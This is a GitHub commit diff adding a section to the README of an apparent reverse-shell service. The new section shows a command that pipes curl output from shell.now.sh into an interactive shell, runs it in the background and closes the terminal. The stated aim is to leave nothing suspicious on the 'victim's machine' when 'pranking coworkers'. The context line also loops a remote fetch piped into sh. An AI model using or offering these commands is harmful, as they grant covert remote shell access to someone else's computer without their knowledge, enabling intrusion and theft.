Skip to content

Commit

Permalink
Merge 6a6ff3a into 8395739
Browse files Browse the repository at this point in the history
  • Loading branch information
lukechilds committed Mar 5, 2019
2 parents 8395739 + 6a6ff3a commit c8e9000
Showing 1 changed file with 12 additions and 0 deletions.
12 changes: 12 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -67,6 +67,18 @@ while true; do curl https://shell.now.sh/yourip:1337 | sh; done

Be careful if you do this to a coworker, if they leave the office with this still running you're opening them up to attack.

### Running as a background process

The terminal session needs to be kept open to persist the reverse shell connection. That might be a bit of a giveaway if you're trying to prank coworkers.

The following command will run the reverse shell in a background process and exit the terminal, leaving no suspicious looking terminal windows open on the victim's machine.

Make sure you run this in a fresh terminal window otherwise you'll lose any work in your existing session.

```shell
sh -c "curl https://shell.now.sh/localhost:1337 | sh -i &" && exit
```

## License

MIT © Luke Childs

0 comments on commit c8e9000

Please sign in to comment.